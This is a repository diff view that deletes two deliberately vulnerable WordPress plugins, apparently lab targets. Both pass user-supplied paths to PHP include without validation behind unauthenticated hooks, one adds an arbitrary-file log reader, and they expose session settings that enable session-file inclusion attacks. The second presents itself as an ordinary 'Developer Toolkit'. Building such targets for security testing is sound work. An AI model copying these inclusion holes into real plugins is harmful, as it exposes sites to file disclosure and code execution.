|
|
||||||
/**
|
|
||||||
* Plugin Name: Analytics Dashboard (Vulnerable Demo)
|
|
||||||
* Description: Simulates a real-world WordPress plugin with PHP sessions and an
|
|
||||||
* LFI vulnerability. Represents plugins like WooCommerce session
|
|
||||||
* handlers, theme builders with template inclusion, etc.
|
|
||||||
* Version: 1.0.0
|
|
||||||
*
|
|
||||||
* Install as mu-plugin:
|
|
||||||
* cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/
|
|
||||||
*
|
|
||||||
* This plugin:
|
|
||||||
* 1. Calls session_start() on every request (like WooCommerce, etc.)
|
|
||||||
* 2. Has a template include that accepts user input (like theme builders)
|
|
||||||
* 3. Registers an AJAX endpoint accessible to unauthenticated users
|
|
||||||
*/
|
|
||||||
|
|
||||||
// Start PHP sessions (common in e-commerce/analytics plugins)
|
|
||||||
if (session_status() === PHP_SESSION_NONE) {
|
|
||||||
session_start();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Register an unauthenticated AJAX handler with LFI
|
|
||||||
add_action('wp_ajax_nopriv_analytics_render', 'analytics_render_template');
|
|
||||||
add_action('wp_ajax_analytics_render', 'analytics_render_template');
|
|
||||||
|
|
||||||
function analytics_render_template() {
|
|
||||||
$template = isset($_GET['template']) ? $_GET['template'] : 'default';
|
|
||||||
// Vulnerable: no path validation on template parameter
|
|
||||||
if (file_exists($template)) {
|
|
||||||
include($template);
|
|
||||||
}
|
|
||||||
wp_die();
|
|
||||||
}
|
|
||||||
@@ -1,80 +0,0 @@
|
|||||||
<?php
|
|
||||||
/**
|
|
||||||
* Plugin Name: Developer Toolkit
|
|
||||||
* Description: Development and debugging utilities for WordPress developers.
|
|
||||||
* Version: 2.1.0
|
|
||||||
* Author: DevTools Team
|
|
||||||
* License: GPL-2.0+
|
|
||||||
*
|
|
||||||
* Provides template preview, log viewer, and diagnostic tools for development.
|
|
||||||
*/
|
|
||||||
|
|
||||||
if ( ! defined( 'ABSPATH' ) ) {
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Register admin page
|
|
||||||
add_action( 'admin_menu', function() {
|
|
||||||
add_management_page(
|
|
||||||
'Developer Toolkit',
|
|
||||||
'Dev Toolkit',
|
|
||||||
'manage_options',
|
|
||||||
'dev-toolkit',
|
|
||||||
'devtoolkit_admin_page'
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
// Template preview (simulates common theme/template preview plugins)
|
|
||||||
add_action( 'template_redirect', function() {
|
|
||||||
if ( isset( $_GET['dt_preview'] ) && current_user_can( 'edit_themes' ) ) {
|
|
||||||
$template = sanitize_text_field( $_GET['dt_preview'] );
|
|
||||||
if ( file_exists( $template ) ) {
|
|
||||||
include $template;
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// AJAX log viewer endpoint (common in debug/logging plugins)
|
|
||||||
add_action( 'wp_ajax_dt_view_log', function() {
|
|
||||||
if ( ! current_user_can( 'manage_options' ) ) {
|
|
||||||
wp_die( 'Unauthorized' );
|
|
||||||
}
|
|
||||||
$logfile = isset( $_GET['file'] ) ? $_GET['file'] : '';
|
|
||||||
if ( $logfile && is_readable( $logfile ) ) {
|
|
||||||
header( 'Content-Type: text/plain' );
|
|
||||||
readfile( $logfile );
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
wp_die( 'File not found' );
|
|
||||||
});
|
|
||||||
|
|
||||||
// Front-end template include (no auth required - simulates broken plugin)
|
|
||||||
add_action( 'init', function() {
|
|
||||||
if ( isset( $_GET['dt_template'] ) ) {
|
|
||||||
$tpl = $_GET['dt_template'];
|
|
||||||
// "Sanitization" that doesn't prevent path traversal
|
|
||||||
$tpl = str_replace( "\0", '', $tpl );
|
|
||||||
if ( file_exists( $tpl ) ) {
|
|
||||||
include $tpl;
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// Session-based features (simulates WooCommerce/forms using sessions)
|
|
||||||
add_action( 'init', function() {
|
|
||||||
if ( ! session_id() ) {
|
|
||||||
session_start();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
function devtoolkit_admin_page() {
|
|
||||||
echo '<div class="wrap"><h1>Developer Toolkit</h1>';
|
|
||||||
echo '<p>Development utilities for debugging and testing.</p>';
|
|
||||||
echo '<h2>PHP Info</h2>';
|
|
||||||
echo '<p>Session ID: ' . session_id() . '</p>';
|
|
||||||
echo '<p>Session Save Path: ' . session_save_path() . '</p>';
|
|
||||||
echo '<p>Upload Progress: ' . ini_get('session.upload_progress.enabled') . '</p>';
|
|
||||||
echo '</div>';
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user